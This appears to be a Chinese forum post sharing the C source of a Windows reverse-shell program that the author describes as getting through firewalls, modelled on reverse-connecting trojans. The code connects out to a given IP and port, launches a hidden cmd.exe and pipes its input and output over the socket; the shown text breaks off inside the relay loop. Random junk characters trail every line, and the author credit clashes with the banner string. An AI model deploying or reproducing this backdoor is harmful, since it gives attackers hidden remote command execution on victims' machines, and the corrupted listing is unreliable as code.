这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 CBKkBuKuk
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/* ============================== *tX{MSYW
Rebound port in Windows NT 9Sq%s&
By wind,2006/7 5P hX"7
===============================*/ <U9/InN0[
#include EQIo5
#include R%H$%cnj
%F9{EXJy
#pragma comment(lib,"wsock32.lib") \zkw2*t
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void OutputShell(); ]PP:oriWl
SOCKET sClient; 4YMX|1wd)
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; )Vk6;__
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void main(int argc,char **argv) xf>z @)e
{ |nk3^;Yf
WSADATA stWsaData; "SoHt]%#
int nRet; 5ZPzPUa8~
SOCKADDR_IN stSaiClient,stSaiServer; b2^AP\: k
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if(argc != 3) -g/hAxb5
{ /_-;zL
printf("Useage:\n\rRebound DestIP DestPort\n"); 'QH1=$Su
return; F'?I-jtI
} ;C/bJEgdd
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WSAStartup(MAKEWORD(2,2),&stWsaData); O0*e)i8
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "$5\,
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stSaiClient.sin_family = AF_INET; W~B5>;y
stSaiClient.sin_port = htons(0); 1fL<&G
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); tAFti+Qb
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) sK=}E=
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printf("Bind Socket Failed!\n"); j#6|V]l
return; iG,t_??
} -
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stSaiServer.sin_family = AF_INET; SnTDLa
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ])#\_'fg
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %im#ww L%
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) '!Kf#@';u
{ xq-$\#O
printf("Connect Error!"); =]Hs|{
return; $
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} 3Gr&p6
OutputShell(); AdoZs8Q
} w,j cm;
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void OutputShell() rp:wQH7
{ <B&R6<]T
char szBuff[1024]; k6?cP0I)5
SECURITY_ATTRIBUTES stSecurityAttributes; VzRx%j/i
OSVERSIONINFO stOsversionInfo; j%*7feSNC
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =OV2 uq
STARTUPINFO stStartupInfo; fd8#Ng"1
char *szShell; %xyX8c{sP
PROCESS_INFORMATION stProcessInformation; -#A:`/22
unsigned long lBytesRead; ;ggy5?>Qu
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); K,}w]b
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Rh] P8
stSecurityAttributes.lpSecurityDescriptor = 0; {R&ZqEo'D
stSecurityAttributes.bInheritHandle = TRUE; re,.@${H
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); qG>DTKIU
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); I8op>^N"
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); U06o;s(
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EH+~].PJd
stStartupInfo.wShowWindow = SW_HIDE; .1*DR]^`
stStartupInfo.hStdInput = hReadPipe; L]2<&%N2
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; R+$8w2#
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GetVersionEx(&stOsversionInfo); 7-9;PkGG.A
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switch(stOsversionInfo.dwPlatformId) ~ |,e_
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{ _&
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case 1: Inuc(_I
szShell = "command.com"; ?Nl"sVCo
break; >e8JK*Blz
default: bv\ A,+
szShell = "cmd.exe"; 0B0G2t&hr
break; ?SUQk55w
} ,\hYEup
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); I Ru$oF}
! VRI_c
send(sClient,szMsg,77,0); z-0:m|=yH
while(1) H$-$2?5
{ o|287S|$
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); C?QfF{!7
if(lBytesRead) t,vTAq.))
{ <~%t$:
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); zw:/!MS
send(sClient,szBuff,lBytesRead,0); \kwe51MQ
} +|nsu4t,<
else +X!+'>
{ {>.>7{7
lBytesRead=recv(sClient,szBuff,1024,0); S+*cbA{J|
if(lBytesRead<=0) break; 4IGxI7~27#
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); T=?
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} .{N\<